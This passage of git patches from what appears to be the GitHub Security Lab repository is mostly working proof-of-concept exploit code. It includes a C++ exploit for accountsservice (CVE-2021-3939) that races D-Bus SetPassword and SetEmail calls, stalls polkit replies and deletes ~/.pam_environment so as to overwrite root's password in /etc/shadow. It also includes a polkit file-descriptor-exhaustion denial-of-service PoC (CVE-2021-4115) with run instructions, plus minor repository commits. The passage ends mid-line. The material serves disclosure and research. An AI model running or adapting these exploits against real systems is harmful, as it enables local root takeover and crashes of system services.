enables the two handlers to call each other's +// methods when necessary, and it also takes care of shutting the handlers +// down. (The EPollLoop will not stop until all the handlers are +// disconnected, so when one handler disconnects the other needs to also +// disconnect.) +class EPollManager { + EPollLoop& loop_; + + // These pointers are owned by the EPollLoop. We have keep copies of them + // here so that we can call methods on them, and also so that we can call + // `EPollLoop::del_handler()` on them when we're done. + PolkitHandler* polkit_handler_ = nullptr; + AccountsHandler* accounts_handler_ = nullptr; + TriggerBugHandler* trigger_bug_handler_ = nullptr; + + void del_polkit_handler(); + void del_accounts_handler(); + +public: + explicit EPollManager(EPollLoop& loop) : + loop_(loop) + {} + + PolkitHandler* polkit_handler() const { return polkit_handler_; } + AccountsHandler* accounts_handler() const { return accounts_handler_; } + TriggerBugHandler* trigger_bug_handler() const { return trigger_bug_handler_; } + + void set_polkit_handler(PolkitHandler* polkit_handler){ + assert(!polkit_handler_); + polkit_handler_ = polkit_handler; + } + + void set_accounts_handler(AccountsHandler* accounts_handler){ + assert(!accounts_handler_); + accounts_handler_ = accounts_handler; + } + + void set_trigger_bug_handler(TriggerBugHandler* trigger_bug_handler){ + assert(!trigger_bug_handler_); + trigger_bug_handler_ = trigger_bug_handler; + } + + void polkit_delete() { + polkit_handler_ = nullptr; + stop(); + } + + void accounts_delete() { + accounts_handler_ = nullptr; + stop(); + } + + void trigger_bug_delete() { + trigger_bug_handler_ = nullptr; + stop(); + } + + void stop() const; +}; + +class PolkitHandler : public DBusHandler { + // This struct is used to store an error reply message, which we + // will send later. + struct BatchedErrorReply { + const serialNumber_t replySerial_; + const std::string sender_; + + BatchedErrorReply( + const serialNumber_t replySerial, + const std::string sender + ) : + replySerial_(replySerial), + sender_(sender) + {} + }; + + const ProgramInfo& info_; + EPollManager& manager_; + + // We deliberately delay responding to some of the polkit requests, to + // control the order of operations in accountsservice. The replies are + // queued here. + std::queue error_reply_queue_; + +private: + int quit() { + return -1; + } + + int register_with_polkit() { + std::unique_ptr body = + DBusMessageBody::mk( + _vec>( + // Subject + DBusObjectStruct::mk( + _vec>( + DBusObjectString::mk(_s("unix-process")), // subject_kind + DBusObjectArray::mk1( + _vec>( + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("pid")), + DBusObjectVariant::mk( + DBusObjectUint32::mk(info_.pid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("uid")), + DBusObjectVariant::mk( + DBusObjectInt32::mk(info_.uid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("start-time")), + DBusObjectVariant::mk( + DBusObjectUint64::mk(info_.start_time_) + ) + ) + ) + ) + ) + ), + DBusObjectString::mk(_s("en")), // locale + DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path + ) + ); + + send_call( + std::move(body), + _s("/org/freedesktop/PolicyKit1/Authority"), + _s("org.freedesktop.PolicyKit1.Authority"), + _s("org.freedesktop.PolicyKit1"), + _s("RegisterAuthenticationAgent"), + [this](const DBusMessage& message, bool isError) -> int { + if (isError) { + // Signal to the rest of the program that an error occurred. + print_dbus_message(STDERR_FILENO, message); + fprintf(stderr, "[PolkitHandler] Could not register with polkit.\n"); + fflush(stderr); + return quit(); + } else { + printf("[PolkitHandler] Successfully registered with polkit\n"); + fflush(stdout); + return 0; + } + } + ); + + return 0; + } + +public: + PolkitHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + manager_(manager) + {} + + ~PolkitHandler() override { + manager_.polkit_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_polkit_handler(this); + send_hello( + [this](const std::string& busname) -> int { + printf("[PolkitHandler] Unique bus name (polkit): %s\n", busname.c_str()); + fflush(stdout); + + return register_with_polkit(); + } + ); + } + + // Every time we attempt to set the root user's password by + // calling the SetPassword method, we should get an incoming + // polkit request here. + void receive_call(const DBusMessage& message) override final { + const std::string& sender = + message.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); + error_reply_queue_.push( + BatchedErrorReply(message.getHeader_serialNumber(), sender) + ); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal in PolkitHandler."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in PolkitHandler."); + print_dbus_message(STDERR_FILENO, err); + throw Error("Unexpected error in PolkitHandler."); + } + + void disconnect() noexcept override final { + logerror("PolkitHandler D-Bus socket disconnected."); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "[PolkitHandler] %s\n", errmsg); + fflush(stderr); + } + + // Send at most `n` error replies to cancel the polkit requests. + // Due to the unpredicatable timing of when we receive the polkit + // requests it's possible that there are less than `n` elements in + // the queue. If so, we just stop early and don't worry about it. + // (We empty the queue at the beginning of every iteration of the + // exploit, to stop the queue from growing too big.) + void cancel_auth_requests(const size_t n) { + printf("[PolkitHandler] cancel_auth_requests queue size = %ld\n", + error_reply_queue_.size()); + fflush(stdout); + for (size_t i = 0; i < n; i++) { + if (error_reply_queue_.empty()) { + return; + } + + BatchedErrorReply& reply = error_reply_queue_.front(); + send_error_reply( + reply.replySerial_, + _s(reply.sender_), + _s("org.freedesktop.PolicyKit1.Error.Cancelled") + ); + error_reply_queue_.pop(); + } + } +}; + +class AccountsHandlerBase : public DBusHandler { +protected: + const ProgramInfo& info_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::random_device rd_; + std::mt19937 gen_; + + std::string my_objectpath_; + std::string root_objectpath_; + const std::string pam_env_path_; + + // Email address for sending to the SetEmail method. + // Changing the email address triggers a call to `save_extra_data`, which + // causes a bunch of memory to be allocated and freed, but without + // increasing the total memory usage. (At least, I haven't noticed any + // memory leaks in that code.) Sometimes we do this to deliberately + // jumble the memory up so that a subsequent memory allocation will + // occupy the chunk that we want it to. Other times, we deliberately + // call the SetEmail method with the same email address as last time, so + // that we trigger a polkit check that will get approved, but without + // jumbling the memory any further. + char email_[64] = "kevwozere@kevwozere.com"; + +public: + AccountsHandlerBase( + const ProgramInfo& info + ) : + DBusHandler(info.dbus_socket_path_), + info_(info), + gen_(rd_()), + pam_env_path_(info_.homedir_ + _s("/.pam_environment")) + {} + +protected: + int quit() { + return -1; + } + + // We don't expect to receive any calls. + void receive_call(const DBusMessage&) override final { + logerror("Unexpected incoming call."); + } + + // We don't expect to receive any calls. + void receive_signal(const DBusMessage&) override final { + logerror("Received a signal."); + } + + void receive_error(const DBusMessage& err) override final { + logerror("Received an error in AccountsHandler."); + print_dbus_message(STDERR_FILENO, err); + } + + void disconnect() noexcept override final { + logerror("AccountsHandler D-Bus socket disconnected."); + } + + int findUserByID( + uid_t uid, + std::function cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectInt64::mk(uid) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserById"), + [this, cb](const DBusMessage& message, bool isError) -> int { + if (isError) { + logerror("FindUserById failed"); + return cb(nullptr, true); + } else { + const std::string& userpath = + message.getBody().getElement(0)->toPath().getValue(); + printf("[AccountsHandler] FindUserById: %s\n", userpath.c_str()); + fflush(stdout); + return cb(userpath.c_str(), false); + } + } + ); + + return 0; + } + + int accounts_set_property( + const char* userpath, + const char* command, + const char* value, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(value)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s(command), + cb + ); + + return 0; + } + + int accounts_set_password( + const char* userpath, + const char* password, + const char* hint, + reply_cb_t cb + ) { + send_call( + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(hint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword"), + cb + ); + + return 0; + } + + virtual int attempt_exploit() = 0; +}; + +class AccountsHandler : public AccountsHandlerBase { + EPollManager& manager_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::uniform_int_distribution<> batchsize_distrib_; + std::uniform_int_distribution<> microsec_distrib_; + + size_t batch_size_ = 0; + +private: + int quit() { + return -1; + } + + void choose_batch_size() { + batch_size_ = batchsize_distrib_(gen_); + printf("[AccountsHandler] batch size: %ld\n", batch_size_); + fflush(stdout); + } + +public: + AccountsHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + AccountsHandlerBase(info), + manager_(manager), + batchsize_distrib_(0,128), + microsec_distrib_(0,999) + {} + + virtual ~AccountsHandler() override { + manager_.accounts_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + + void accept() override final { + manager_.set_accounts_handler(this); + send_hello( + [this](const std::string& busname) -> int { + printf("[AccountsHandler] Unique bus name: %s\n", busname.c_str()); + fflush(stdout); + + return findUserByID( + info_.uid_, + [this](const char* userpath, bool isError) -> int { + if (isError) { + return quit(); + } else { + my_objectpath_ = userpath; + return attempt_exploit(); + } + } + ); + } + ); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "[AccountsHandler] %s\n", errmsg); + fflush(stderr); + } + + int attempt_exploit() { + choose_batch_size(); + + return findUserByID( + 0, + [this](const char* rootpath, bool isError) -> int { + if (isError) { + // Something went wrong. Try again. + return attempt_exploit(); + } else { + root_objectpath_ = rootpath; + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[AccountsHandler] Starting exploit. PID: %u\n", pid); + fflush(stdout); + + for (size_t i = 0; i < batch_size_; i++) { + // Change the email address to jumble the memory. + snprintf( + email_, sizeof(email_), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", + i + ); + + accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool) -> int { + return 0; + } + ); + + // password: KrabbyPatties + const char* password = + "$5$PPF4wUn4slXL6X09$39P6jDAQVDzE5s2kpoJVUxcoQGFtyvhiynlKMtNWlt4"; + // hint is long enough that it won't fit in an 0x20-sized chunk. + const char* hint = "Most famous burger in Bikini Bottom"; + accounts_set_password( + root_objectpath_.c_str(), password, hint, + [this](const DBusMessage&, bool isError) -> int { + if (isError) { + return 0; + } else { + printf("[AccountsHandler] SetPassword succeeded!\n"); + fflush(stdout); + return quit(); + } + } + ); + } + + // One final email change, for synchronization purposes. + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + // Cancel any queued polkit requests. + PolkitHandler* polkit_handler = manager_.polkit_handler(); + if (!polkit_handler) { + return quit(); + } + polkit_handler->cancel_auth_requests(std::numeric_limits::max()); + + printf("[AccountsHandler] SetEmail isError = %d\n", isError); + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[AccountsHandler] End iteration. PID: %d\n", pid); + fflush(stdout); + + // Wait for 0..1 seconds before the next iteration. + timespec duration; + duration.tv_sec = 0; + duration.tv_nsec = microsec_distrib_(gen_) * 1000000; + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + + if (info_.exploit_succeeded()) { + return quit(); + } else { + return attempt_exploit(); + } + } + ); + } + } + ); + } +}; + +class TriggerBugHandler : public AccountsHandlerBase { + EPollManager& manager_; + + // std::random is used to vary the batch sizes on each run, because + // it's difficult to know which batch sizes are the most likely to + // succeed. + std::uniform_int_distribution<> batchsize_distrib_; + + size_t batch_size_ = 0; + +private: + void choose_batch_size() { + batch_size_ = batchsize_distrib_(gen_); + printf("[TriggerBugHandler] batch size: %ld\n", batch_size_); + fflush(stdout); + } + +public: + explicit TriggerBugHandler( + const ProgramInfo& info, + EPollManager& manager + ) : + AccountsHandlerBase(info), + manager_(manager), + batchsize_distrib_(0,32) + {} + + virtual ~TriggerBugHandler() override { + manager_.trigger_bug_delete(); + } + + void stop() const { + shutdown(sock_, SHUT_RDWR); + } + +protected: + void accept() override final { + send_hello( + [this](const std::string& busname) -> int { + printf("[TriggerBugHandler] Unique bus name: %s\n", busname.c_str()); + fflush(stdout); + + return findUserByID( + info_.uid_, + [this](const char* userpath, bool isError) -> int { + if (isError) { + return quit(); + } else { + my_objectpath_ = userpath; + return attempt_exploit(); + } + } + ); + } + ); + } + + void logerror(const char* errmsg) noexcept override final { + fprintf(stderr, "[TriggerBugHandler] %s\n", errmsg); + fflush(stderr); + } + + // This function triggers the bug by removing `~/.pam_environment` and + // calling the "SetLanguage" method. + int trigger_bug(reply_cb_t cb) { + unlink(pam_env_path_.c_str()); + return accounts_set_property( + my_objectpath_.c_str(), "SetLanguage", "kevwozere", cb + ); + } + + int attempt_exploit() { + choose_batch_size(); + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[TriggerBugHandler] Starting exploit. PID: %u\n", pid); + fflush(stdout); + + for (size_t i = 0; i < batch_size_; i++) { + // Change the email address to jumble the memory. + snprintf( + email_, sizeof(email_), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", + i + ); + + accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + if (isError) { + return quit(); + } else { + return 0; + } + } + ); + } + + return trigger_bug( + [this](const DBusMessage&, bool isError) -> int { + printf("[TriggerBugHandler] trigger bug: isError = %d\n", (int)isError); + fflush(stdout); + + // One final email change, for synchronization purposes. + return accounts_set_property( + my_objectpath_.c_str(), "SetEmail", email_, + [this](const DBusMessage&, bool isError) -> int { + printf("[TriggerBugHandler] SetEmail isError = %d\n", isError); + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("[TriggerBugHandler] End iteration. PID: %d\n", pid); + fflush(stdout); + + // accounts-daemon restarts will get rate-limited if it crashes more + // than 5 times in 10 seconds. It typically crashes after triggering + // the bug twice, so wait for 1 second before the next iteration. + sleep(1); + + if (info_.exploit_succeeded()) { + return quit(); + } else { + return attempt_exploit(); + } + } + ); + } + ); + } +}; + +void EPollManager::stop() const { + if (polkit_handler_) { + polkit_handler_->stop(); + } + if (accounts_handler_) { + accounts_handler_->stop(); + } + if (trigger_bug_handler_) { + trigger_bug_handler_->stop(); + } +} + +int main(int argc, char* argv[]) { + const char* progname = argc > 0 ? argv[0] : "a.out"; + if (argc != 2) { + fprintf( + stderr, + "usage: %s \n" + "example: %s /var/run/dbus/system_bus_socket\n", + progname, + progname + ); + return EXIT_FAILURE; + } + + const char* dbus_socket_path = argv[1]; + + try { + const pid_t cpid = fork(); + if (cpid < 0) { + throw ErrorWithErrno("fork failed"); + } + + ProgramInfo info(dbus_socket_path); + + do { + EPollLoop loop; + EPollManager manager(loop); + + if (cpid > 0) { + // In the child process, we just continually trigger the bug at + // 1-second intervals. + DBusAuthHandler* trigger_bug_auth_handler = + new DBusAuthHandler(loop, info.uid_, new TriggerBugHandler(info, manager)); + if (loop.add_handler(trigger_bug_auth_handler) < 0) { + throw Error(_s("Failed to add TriggerBugHandler")); + } + } else { + DBusAuthHandler* polkit_auth_handler = + new DBusAuthHandler(loop, info.uid_, new PolkitHandler(info, manager)); + if (loop.add_handler(polkit_auth_handler) < 0) { + throw Error(_s("Failed to add PolkitHandler")); + } + + DBusAuthHandler* accounts_auth_handler = + new DBusAuthHandler(loop, info.uid_, new AccountsHandler(info, manager)); + if (loop.add_handler(accounts_auth_handler) < 0) { + throw Error(_s("Failed to add AccountsHandler")); + } + } + + loop.run(); + } while (!info.exploit_succeeded()); + + if (cpid > 0) { + waitpid(cpid, 0, 0); + printf("%s was modified!\n", etc_shadow_path); + } + } catch (ErrorWithErrno& e) { + const int err = e.getErrno(); + fprintf(stderr, "%s\n%s\n", e.what(), strerror(err)); + return EXIT_FAILURE; + } catch (std::exception& e) { + fprintf(stderr, "%s\n", e.what()); + return EXIT_FAILURE; + } + + return EXIT_SUCCESS; +} From 035ea10d414681855f3bcf162e2a6d144f9eafa6 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 9 Dec 2021 14:49:58 +0000 Subject: [PATCH 072/140] Update SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- .../README-build-accountsservice.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md index d32740e..7446e69 100644 --- a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/README-build-accountsservice.md @@ -25,7 +25,7 @@ sudo dpkg -i ../*.deb ## How to build with address sanitizer (ASAN) -The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors lie `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this: +The instructions that I found [here](https://wiki.debian.org/LTS/Development/Asan) don't work on accountsservice. (I get lots of linker errors like `undefined reference to `__asan_report_store8'`, presumably because `libasan` hasn't been included in the link step.) But I was able to successfully create an ASAN build by modifying `src/meson.build` like this: ``` diff --git a/src/meson.build b/src/meson.build From 2412001d560f55cc8250f0108b8c26b88e7c4449 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Thu, 9 Dec 2021 22:50:09 +0000 Subject: [PATCH 073/140] Bug slayer new form --- .github/ISSUE_TEMPLATE/bug-slayer.md | 26 ----------- .github/ISSUE_TEMPLATE/bug-slayer.yml | 66 +++++++++++++++++++++++++++ 2 files changed, 66 insertions(+), 26 deletions(-) delete mode 100644 .github/ISSUE_TEMPLATE/bug-slayer.md create mode 100644 .github/ISSUE_TEMPLATE/bug-slayer.yml diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.md b/.github/ISSUE_TEMPLATE/bug-slayer.md deleted file mode 100644 index 15abd8a..0000000 --- a/.github/ISSUE_TEMPLATE/bug-slayer.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -name: The Bug Slayer bounty submission -about: Submit a CodeQL query for The Bug Slayer bounty (https://securitylab.github.com/bounties) -title: "[USERNAME]: [SUMMARY]" -labels: The Bug Slayer -assignees: '' - ---- - -## Query - -*OPTIONAL - Link to pull request with your CodeQL query:* - -Relevant PR: https://github.com/github/codeql/pull/nnnn - -## CVE ID(s) - -*List the CVE ID(s) associated with this vulnerability. GitHub will automatically link CVE IDs to the [GitHub Advisory Database](https://github.com/advisories).* - -- CVE-20nn-nnnnn - -## Report - -*Describe the vulnerability. Provide any information you think will help GitHub assess the impact your query has on the open source community.* - -- [ ] Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). *We would love to have you spread the word about the good work you are doing* diff --git a/.github/ISSUE_TEMPLATE/bug-slayer.yml b/.github/ISSUE_TEMPLATE/bug-slayer.yml new file mode 100644 index 0000000..f08489f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug-slayer.yml @@ -0,0 +1,66 @@ +name: The Bug Slayer bounty submission +description: Submit a CodeQL query for the Bug Slayer bounty (https://securitylab.github.com/bounties) +title: "[]: " +labels: [The Bug Slayer] +body: + - type: markdown + attributes: + value: | + # Introduction + + Thank you for your submission to the bounty program! + + After you submit this issue, the GitHub Security Lab and CodeQL teams will triage the submission and, if it meets the Query Bounty Program requirements, we will grant you a bounty through our HackerOne program. + + Please make sure to carefully read the [bounty program description and conditions](https://securitylab.github.com/bounties/) + + # Questionnaire + - type: textarea + id: cve_ids + attributes: + label: CVE(s) ID list + description: Enter a list of the CVE ID(s) associated with this query, one bullet for each distinct CVE. You need at least four high severity CVEs or two critical severity CVEs. + placeholder: | + ex. + - [CVE-20nn-xxxx]() + - [CVE-20nn-yyyy]() + validations: + required: true + - type: input + id: a41_url + attributes: + label: All For One submission + description: Link to the All For One submission with your CodeQL query + placeholder: | + ex. https://github.com/github/securitylab/issues/nnn + validations: + required: true + - type: textarea + id: details + attributes: + label: Details + description: Detail here how you found each CVE with your query. You can provide LGTM results, links to codeql DBs, ... anything that demonstrates that your query finds each CVE. + placeholder: | + ex. + - link/to/my/lgtm/runs + - link/to/gist/with/modified/query + - link/to/codeql/db + validations: + required: true + - type: checkboxes + id: social + attributes: + label: Are you planning to discuss this vulnerability submission publicly? (Blog Post, social networks, etc). + description: We would love to have you spread the word about the good work you are doing + options: + - label: "Yes" + - label: "No" + validations: + required: true + - type: input + id: social_url + attributes: + label: Blog post link + description: If you have already blogged about your query, please provide a link. + validations: + required: false From 26e5ca0808befcf6d5d1f7ae035b672d4f8d5e7b Mon Sep 17 00:00:00 2001 From: jorgectf Date: Thu, 16 Dec 2021 17:44:25 +0100 Subject: [PATCH 074/140] Add article to `README.md` --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index b1d530d..8eb63db 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,10 @@ We use it for these main purposes: * [pull_request_target with explicit pull request checkout](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql) * [Command injection from user-controlled Actions context](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql) +### Articles + +* [Practical Introduction to CodeQL](https://jorgectf.gitlab.io/blog/post/practical-codeql-introduction/) + ### Videos * Conference talks/workshops: From e36442e7a1d95bb918c897e8ad61dde2e8302707 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Fri, 21 Jan 2022 11:41:44 -0800 Subject: [PATCH 075/140] Update README.md [URGENT] Needed for supporting the Junior security researcher hiring exercise --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 8eb63db..220e7c5 100644 --- a/README.md +++ b/README.md @@ -3,6 +3,7 @@ This is the main git repository of [GitHub Security Lab](https://securitylab.github.com/). We use it for these main purposes: +* We share with our community some best practices about security research and vulnerability disclosures in our [docs](/docs) * We use [issues on this repo](https://github.com/github/securitylab/issues?q=is%3Aissue+is%3Aopen+label%3A%22All+For+One%22) to track CodeQL [bounty requests](https://securitylab.github.com/bounties). * We use it for publishing some of our proof-of-concept exploits (after the vulnerability has been fixed). These PoCs can be found in the [SecurityExploits](SecurityExploits) sub-directory. * Examples of CodeQL queries, which can be found in the [CodeQL_Queries](CodeQL_Queries) sub-directory. From 5620d911691644ddd03bcc62ea7aecc518655967 Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Wed, 16 Feb 2022 12:45:20 +0000 Subject: [PATCH 076/140] PoC for file descriptor exhaustion in polkit (CVE-2021-4115) --- .gitmodules | 3 + .../.gitignore | 1 + .../CMakeLists.txt | 30 ++++++ .../DBusParse | 1 + .../README.md | 51 ++++++++++ .../locksessions.cpp | 93 +++++++++++++++++++ 6 files changed, 179 insertions(+) create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt create mode 160000 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md create mode 100644 SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp diff --git a/.gitmodules b/.gitmodules index 5b523f5..819c96b 100644 --- a/.gitmodules +++ b/.gitmodules @@ -10,3 +10,6 @@ [submodule "SecurityExploits/Ubuntu/GHSL-2021-1011-accountsservice/EPollLoopDBusHandler"] path = SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/EPollLoopDBusHandler url = https://github.com/kevinbackhouse/EPollLoopDBusHandler.git +[submodule "SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse"] + path = SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse + url = https://github.com/kevinbackhouse/DBusParse diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore new file mode 100644 index 0000000..378eac2 --- /dev/null +++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/.gitignore @@ -0,0 +1 @@ +build diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt new file mode 100644 index 0000000..52f153b --- /dev/null +++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/CMakeLists.txt @@ -0,0 +1,30 @@ +cmake_minimum_required(VERSION 3.10) + +enable_testing() + +# set the project name +project(CVE-2021-4115-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for CVE-2021-4115: file descriptor exhaustion in polkit") + +# specify the C++ standard +set(CMAKE_CXX_STANDARD 17) +set(CMAKE_CXX_STANDARD_REQUIRED True) + +option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF) + +add_compile_options(-Wall -Wextra -pedantic -Werror) + +if (USE_SANITIZERS) + set(SANITIZER_FLAGS "-fsanitize=address,undefined") + set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}") + set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}") +endif() + +add_subdirectory(DBusParse) + +add_executable(locksessions locksessions.cpp) +target_link_libraries(locksessions PUBLIC DBusParse DBusParseUtils crypt) +target_include_directories( + locksessions PRIVATE + $) diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse new file mode 160000 index 0000000..b2c75ca --- /dev/null +++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/DBusParse @@ -0,0 +1 @@ +Subproject commit b2c75caace13d54303581a71f72c83bb5239b3a2 diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md new file mode 100644 index 0000000..e753241 --- /dev/null +++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/README.md @@ -0,0 +1,51 @@ +# CVE-2021-4115 (GHSL-2021-077) + +This repository contains a proof of concept exploit for +[CVE-2021-4115](https://gitlab.freedesktop.org/polkit/polkit/-/issues/141): +file descriptor exhaustion in +[polkit](https://gitlab.freedesktop.org/polkit/polkit). + +# Build + +Instructions for building the PoC: + +```bash +git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse +mkdir build +cd build +cmake .. +make +``` + +# Running + +The PoC causes polkit to leak eventfd file descriptors. After several runs +of the PoC, polkit will leak so many file descriptors that it will crash +due to exceeding its quota of file descriptors. + +First, check how many file descriptors polkit has open: + +```bash +$ sudo ls -l /proc/`pidof polkitd`/fd | wc + 12 123 680 +``` + +Now run the PoC: + +```bash +./locksessions /var/run/dbus/system_bus_socket 0x4000 +``` + +(The PoC is named locksessions because it calls the +org.freedesktop.login1.Manager.LockSessions D-Bus method.) + +Now check again how many file descriptors polkit has open: + +``` +$ sudo ls -l /proc/`pidof polkitd`/fd | wc + 255 2796 16872 +``` + +Notice that a large number of eventfd file descriptors have been +leaked. After few more runs of the PoC, polkit will most likely +crash. diff --git a/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp new file mode 100644 index 0000000..8dce258 --- /dev/null +++ b/SecurityExploits/polkit/file_descriptor_exhaustion_CVE-2021-4115/locksessions.cpp @@ -0,0 +1,93 @@ +#include "dbus_utils.hpp" +#include "dbus_auth.hpp" +#include "utils.hpp" +#include +#include +#include + +class DBusSocket : public AutoCloseFD { +public: + DBusSocket(const uid_t uid, const char* filename) : + AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) + { + if (get() < 0) { + throw ErrorWithErrno("Could not create socket"); + } + + sockaddr_un address; + memset(&address, 0, sizeof(address)); + address.sun_family = AF_UNIX; + strcpy(address.sun_path, filename); + + if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { + throw ErrorWithErrno("Could not connect socket"); + } + + dbus_sendauth(uid, get()); + + dbus_send_hello(get()); + std::unique_ptr hello_reply1 = receive_dbus_message(get()); + std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); + std::unique_ptr hello_reply2 = receive_dbus_message(get()); + } +}; + +static void send_logind_LockSessions(const int fd, const uint32_t serialNumber) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk0(), + _s("/org/freedesktop/login1"), + _s("org.freedesktop.login1.Manager"), + _s("org.freedesktop.login1"), + _s("LockSessions") + ); +} + +// Keep trying `attempt_LockSessions_with_disconnect` with different +// delay values until the exploit succeeds (or we decide to give up). +static void exploit_LockSessions( + const uid_t uid, + const char* filename, + const long n +) { + DBusSocket fd(uid, filename); + + for (long i = 0; i < n; i++) { + send_logind_LockSessions(fd.get(), i+1); + } +} + +static void usage(const char* progname) { + fprintf( + stderr, + "usage: %s \n" + "example: %s 